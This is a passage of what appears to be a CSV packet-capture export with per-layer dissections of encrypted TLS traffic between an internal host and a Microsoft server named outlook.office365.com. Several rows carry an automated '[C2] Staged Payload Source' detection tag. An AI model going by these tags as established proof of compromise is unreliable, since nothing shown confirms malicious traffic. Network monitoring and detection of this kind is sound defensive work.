\x1f\\\\x93\\\\x95\\\\x1a\\\\x1d\\\\xe7:8\\\\x9e!\\\\x13\\\\t\\\\xcb\\\\x04\\\\x00\\\\xb9\\\\xa6\\\\x0f\\\\xc0U\\\\xce\\\\xb0\\\\x19XH,c\\\\xc7)\\\\x8d\\\\xe4\\\\x83\\\\'\\\\xba\\\\xd2\\\\x9f\\\\xcc\\\\xac\\\\xb8\\\\xc2\\\\xec\\\\x1c^\\\\t\\\\xcb\\\\x96^\\\\n\\\\x04\\\\xe8\\\\x89\\\\xd5\\\\xd5\\\\xd7u\\\\xf0T\\\\xe3\\\\xfb\\\\x84\\\\x0f\\\\xc2\\\\xf8V]M\\\\x12\\\\xce0\\\\x1a.\\\\xa2\\\\x9b\\\\x0c\\\\x11#\\\\x8e\\\\xb0\\\\xc7N\\\\x1a[2\\\\x9d\\\\xa4VH\\\\xf0\\\\xb9\\\\x8d\\\\xb7\\\\xd4\\\\x8a\\\\x03CG\\\\x89\\\\x05\\\\r}7\\\\x844l\\\\xc6\\\\xcbVFR8\\\\x97f\\\"\"*\\\\xf6>\\\\xa7\\\\xac\\\\x07\\\\xe4r1/F\\\\x93{\\\\x9cm\\\\xaa\\\\x92\\\\x86\\\\x85)' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:46.405923,47,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541676 Ack=1223503816,bc24112907bbbc2411360d0c0800450000288eff400080065e160a98980b84f5e621f9dc01bb0b89362c48ed2fc8501003fde81a0000,\".$.)...$.6\n...E..(..@...^.\n......!......6,H./.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36607, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24086, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541676, \"\"ack\"\": 1223503816, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 59418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:46.409096,48,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541676 Ack=1223503816,bc24112907bbbc2411360d0c0800450000968f00400080065da70a98980b84f5e621f9dc01bb0b89362c48ed2fc8501803fdb977000017030300690000000000000005e846f40e96004cc2f6dbec5998a1accad8256c6ef9333013b1672b021b0c513cf22239d7c84e62a10fa9f4dda08f88a266cc4f3ff518aa55bba0f7b8d2f6b4a7f50b884b063efdc24755f7569ec735d88c8936eced0e00749e0954ad248e7764a2,\".$.)...$.6\n...E.....@...].\n......!......6,H./.P....w......i.........F....L....Y.....%ln.30..g+...Q<.\"\"9..Nb.........f.O?...U...........K.>..GU.V..5...6....t.\tT.$.wd.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 150, \"\"id\"\": 36608, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23975, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541676, \"\"ack\"\": 1223503816, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 47479, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 105, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xe8F\\\\xf4\\\\x0e\\\\x96\\\\x00L\\\\xc2\\\\xf6\\\\xdb\\\\xecY\\\\x98\\\\xa1\\\\xac\\\\xca\\\\xd8%ln\\\\xf930\\\\x13\\\\xb1g+\\\\x02\\\\x1b\\\\x0cQ<\\\\xf2\\\"\"9\\\\xd7\\\\xc8Nb\\\\xa1\\\\x0f\\\\xa9\\\\xf4\\\\xdd\\\\xa0\\\\x8f\\\\x88\\\\xa2f\\\\xccO?\\\\xf5\\\\x18\\\\xaaU\\\\xbb\\\\xa0\\\\xf7\\\\xb8\\\\xd2\\\\xf6\\\\xb4\\\\xa7\\\\xf5\\\\x0b\\\\x88K\\\\x06>\\\\xfd\\\\xc2GU\\\\xf7V\\\\x9e\\\\xc75\\\\xd8\\\\x8c\\\\x896\\\\xec\\\\xed\\\\x0e\\\\x00t\\\\x9e\\\\tT\\\\xad$\\\\x8ewd\\\\xa2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:46.409103,49,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223503816 Ack=193541786,bc2411360d0cbc24112907bb08004500002805c240004006275484f5e6210a98980b01bbf9dc48ed2fc80b89369a5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'T...!\n.......H./...6.P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1474, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10068, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223503816, \"\"ack\"\": 193541786, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:46.817191,50,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1223503816 Ack=193541786,bc2411360d0cbc24112907bb08004500029c05c34000400624df84f5e6210a98980b01bbf9dc48ed2fc80b89369a5018003f10490000170303026f0000000000000007e74ace79291eddfe50b625a978d74ff5004626067370314926edcdaea6ad7581010b162937d7984fbdc69560ccbc7d384eff02bf267c6ed3e08cbf0cdc467968aaaef8b811f684b928ee864a6c7e15cb9e2b5174f218937f4b9b563a2a91d370d2ae647f42fd36c3ac5ae60aab6f5e8d747ef167524a2366758bdbb823c9b072674304084c9be8b00e853742fb93e178134f3cae123342545d9dfc6b09d7fa8a4b1dca3f441883a45b209b405d32cbf199782a74c71f02628828d3cadd345f5a219446138a154cdd2f4e483d97dfd1e30f6dd8680fcbfe683f5e7b21785f7bcec0698703dbc6a1c8605cfd86d1ae11fd188c207ef5b008b411812e2ffdd7d634984bcc283975c130153c20937086c09360d5407266ad5c0998a038a759615b686815bd2030a8a838c75dc8331f05be79b39c529a342d3a8b93dcb25ba55ccbef8dcf1adf4c8bcee05634b677f693889d2ba72a93440a065b100f44a7857f34f27c2e361f9fe8fb5d3ef5f797db1e017f5f019665f0f83fc5d23d86e0499ccb1b78eae418e62c7ab324b0ab3bf883636378abaeceb8be9096cbc9c21d1f0f75b3fe64d1344c413ccaf30c94ece06148967e529a478871bfbc34d0f855a9b3b01e49f7771adf23ca603f56ebabc08fc77c634ef775bf343b58b0350bfb4c96af5fcef52d8eb15f8a1547ee03a54bb47d3d229efe90b8358ed76a6b405296d3ab2b151d6210975c8fe6d41da663ad3909b769e2597de205514a83c11de32d71bd4353162d1b11e038fe2dbf36433a42ee617f81d38444adf4a66a1330475a62b9163c6cb036d72b58c25055ce96c31b7606c3c74729e2a2c3eef4232afa1b77646fbdc5bf935a9460,\".$.6\n..$.)....E.....@.@.$....!\n.......H./...6.P..?.I......o.........J.y)...P.%.x.O..F&.sp1I&.....u....)7..O...`..}8N...&|n......Fyh........(..Jl~...+Qt....K.V:*..p..d.B.6..Z.\n.o^.t~.gRJ#fu...#..rgC..L.....7B...x.O<..3BT]..k\t...K..?D...[ .@]2...x*t...b.(...4_Z!.F...L./NH=.....m.h...h?^{!x_{..i......`\\........ ~......./...4.K.(9u.0.< .p...`.@rf.\\\t..8.Ya[hh.. 0..8.].3...y..R.4-:....[.\\......L...V4.w....+.*.D\n.[..D...4.|.6....]>......._..e..?..=..I...x....,z.$..;..ccx.............u..d.4LA<......aH.~R.G.q..4..U....I.w..#.`?V.....|cN.u.4;X.5..L.._..-.._..G...K.}=\"\"....5..jk@R...+..b..\\.....c.9\t.i.Y}..QJ....-q.CS.-...8.-.6C:B.a....D...j.0GZb..<l.6.+X.PU....v...G).....#*..wdo....Z.`\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 1475, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 9439, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223503816, \"\"ack\"\": 193541786, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4169, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xe7J\\\\xcey)\\\\x1e\\\\xdd\\\\xfeP\\\\xb6%\\\\xa9x\\\\xd7O\\\\xf5\\\\x00F&\\\\x06sp1I&\\\\xed\\\\xcd\\\\xae\\\\xa6\\\\xadu\\\\x81\\\\x01\\\\x0b\\\\x16)7\\\\xd7\\\\x98O\\\\xbd\\\\xc6\\\\x95`\\\\xcc\\\\xbc}8N\\\\xff\\\\x02\\\\xbf&|n\\\\xd3\\\\xe0\\\\x8c\\\\xbf\\\\x0c\\\\xdcFyh\\\\xaa\\\\xae\\\\xf8\\\\xb8\\\\x11\\\\xf6\\\\x84\\\\xb9(\\\\xee\\\\x86Jl~\\\\x15\\\\xcb\\\\x9e+Qt\\\\xf2\\\\x18\\\\x93\\\\x7fK\\\\x9bV:*\\\\x91\\\\xd3p\\\\xd2\\\\xaed\\\\x7fB\\\\xfd6\\\\xc3\\\\xacZ\\\\xe6\\\\n\\\\xabo^\\\\x8dt~\\\\xf1gRJ#fu\\\\x8b\\\\xdb\\\\xb8#\\\\xc9\\\\xb0rgC\\\\x04\\\\x08L\\\\x9b\\\\xe8\\\\xb0\\\\x0e\\\\x857B\\\\xfb\\\\x93\\\\xe1x\\\\x13O<\\\\xae\\\\x123BT]\\\\x9d\\\\xfck\\\\t\\\\xd7\\\\xfa\\\\x8aK\\\\x1d\\\\xca?D\\\\x18\\\\x83\\\\xa4[ \\\\x9b@]2\\\\xcb\\\\xf1\\\\x99x*t\\\\xc7\\\\x1f\\\\x02b\\\\x88(\\\\xd3\\\\xca\\\\xdd4_Z!\\\\x94F\\\\x13\\\\x8a\\\\x15L\\\\xdd/NH=\\\\x97\\\\xdf\\\\xd1\\\\xe3\\\\x0fm\\\\xd8h\\\\x0f\\\\xcb\\\\xfeh?^{!x_{\\\\xce\\\\xc0i\\\\x87\\\\x03\\\\xdb\\\\xc6\\\\xa1\\\\xc8`\\\\\\\\\\\\xfd\\\\x86\\\\xd1\\\\xae\\\\x11\\\\xfd\\\\x18\\\\x8c ~\\\\xf5\\\\xb0\\\\x08\\\\xb4\\\\x11\\\\x81./\\\\xfd\\\\xd7\\\\xd64\\\\x98K\\\\xcc(9u\\\\xc10\\\\x15< \\\\x93p\\\\x86\\\\xc0\\\\x93`\\\\xd5@rf\\\\xad\\\\\\\\\\\\t\\\\x98\\\\xa08\\\\xa7Ya[hh\\\\x15\\\\xbd 0\\\\xa8\\\\xa88\\\\xc7]\\\\xc83\\\\x1f\\\\x05\\\\xbey\\\\xb3\\\\x9cR\\\\x9a4-:\\\\x8b\\\\x93\\\\xdc\\\\xb2[\\\\xa5\\\\\\\\\\\\xcb\\\\xef\\\\x8d\\\\xcf\\\\x1a\\\\xdfL\\\\x8b\\\\xce\\\\xe0V4\\\\xb6w\\\\xf6\\\\x93\\\\x88\\\\x9d+\\\\xa7*\\\\x93D\\\\n\\\\x06[\\\\x10\\\\x0fD\\\\xa7\\\\x85\\\\x7f4\\\\xf2|.6\\\\x1f\\\\x9f\\\\xe8\\\\xfb]>\\\\xf5\\\\xf7\\\\x97\\\\xdb\\\\x1e\\\\x01\\\\x7f_\\\\x01\\\\x96e\\\\xf0\\\\xf8?\\\\xc5\\\\xd2=\\\\x86\\\\xe0I\\\\x9c\\\\xcb\\\\x1bx\\\\xea\\\\xe4\\\\x18\\\\xe6,z\\\\xb3$\\\\xb0\\\\xab;\\\\xf8\\\\x83ccx\\\\xab\\\\xae\\\\xce\\\\xb8\\\\xbe\\\\x90\\\\x96\\\\xcb\\\\xc9\\\\xc2\\\\x1d\\\\x1f\\\\x0fu\\\\xb3\\\\xfed\\\\xd14LA<\\\\xca\\\\xf3\\\\x0c\\\\x94\\\\xec\\\\xe0aH\\\\x96~R\\\\x9aG\\\\x88q\\\\xbf\\\\xbc4\\\\xd0\\\\xf8U\\\\xa9\\\\xb3\\\\xb0\\\\x1eI\\\\xf7w\\\\x1a\\\\xdf#\\\\xca`?V\\\\xeb\\\\xab\\\\xc0\\\\x8f\\\\xc7|cN\\\\xf7u\\\\xbf4;X\\\\xb05\\\\x0b\\\\xfbL\\\\x96\\\\xaf_\\\\xce\\\\xf5-\\\\x8e\\\\xb1_\\\\x8a\\\\x15G\\\\xee\\\\x03\\\\xa5K\\\\xb4}=\\\"\"\\\\x9e\\\\xfe\\\\x90\\\\xb85\\\\x8e\\\\xd7jk@R\\\\x96\\\\xd3\\\\xab+\\\\x15\\\\x1db\\\\x10\\\\x97\\\\\\\\\\\\x8f\\\\xe6\\\\xd4\\\\x1d\\\\xa6c\\\\xad9\\\\t\\\\xb7i\\\\xe2Y}\\\\xe2\\\\x05QJ\\\\x83\\\\xc1\\\\x1d\\\\xe3-q\\\\xbdCS\\\\x16-\\\\x1b\\\\x11\\\\xe08\\\\xfe-\\\\xbf6C:B\\\\xeea\\\\x7f\\\\x81\\\\xd3\\\\x84D\\\\xad\\\\xf4\\\\xa6j\\\\x130GZb\\\\xb9\\\\x16<l\\\\xb06\\\\xd7+X\\\\xc2PU\\\\xce\\\\x96\\\\xc3\\\\x1bv\\\\x06\\\\xc3\\\\xc7G)\\\\xe2\\\\xa2\\\\xc3\\\\xee\\\\xf4#*\\\\xfa\\\\x1bwdo\\\\xbd\\\\xc5\\\\xbf\\\\x93Z\\\\x94`' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:46.817391,51,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541786 Ack=1223504444,bc24112907bbbc2411360d0c0800450000288f01400080065e140a98980b84f5e621f9dc01bb0b89369a48ed323c501003fae53b0000,\".$.)...$.6\n...E..(..@...^.\n......!......6.H.2<P....;..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36609, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24084, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541786, \"\"ack\"\": 1223504444, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 58683, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:47.222093,52,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=3321035754 Ack=0,bc24112907bbbc2411360d0c0800450000348f02400080065e070a98980b84f5e621fa0a01bbc5f2fbea000000008002ffffa3b20000020405b40103030801010402,\".$.)...$.6\n...E..4..@...^.\n......!.\n..............................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36610, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24071, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035754, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 41906, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:22:47.222113,53,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=763870666 Ack=3321035755,bc2411360d0cbc24112907bb0800450000340000400040062d0a84f5e6210a98980b01bbfa0a2d87bdcac5f2fbeb8012faf00de10000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.-\n...!\n......\n-...........\n..............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 11530, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763870666, \"\"ack\"\": 3321035755, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 3553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:22:47.222443,54,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321035755 Ack=763870667,bc24112907bbbc2411360d0c0800450000288f03400080065e120a98980b84f5e621fa0a01bbc5f2fbeb2d87bdcb50100400f5220000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-...P....\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36611, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24082, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035755, \"\"ack\"\": 763870667, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 62754, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:47.222671,55,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321035755 Ack=763870667,bc24112907bbbc2411360d0c0800450000f68f04400080065d430a98980b84f5e621fa0a01bbc5f2fbeb2d87bdcb50180400ba32000016030300c9010000c503036a2f1ba6b4a5a740cf87a34fca09568e31550f870f1187378560874ce090746d000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000760000001a00180000156f75746c6f6f6b2e6f66666963653336352e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...]C\n......!.\n......-...P....2.............j/.....@...O.\tV.1U.....7.`.L..tm..&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...v.........outlook.office365.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 246, \"\"id\"\": 36612, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23875, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035755, \"\"ack\"\": 763870667, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47666, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 201, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=197 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:22:46  (1781472166) random_bytes=b4a5a740cf87a34fca09568e31550f870f1187378560874ce090746d sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=118 ext=[<TLS_Ext_ServerName  type=server_name len=26 servernameslen=24 servernames=[b'outlook.office365.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  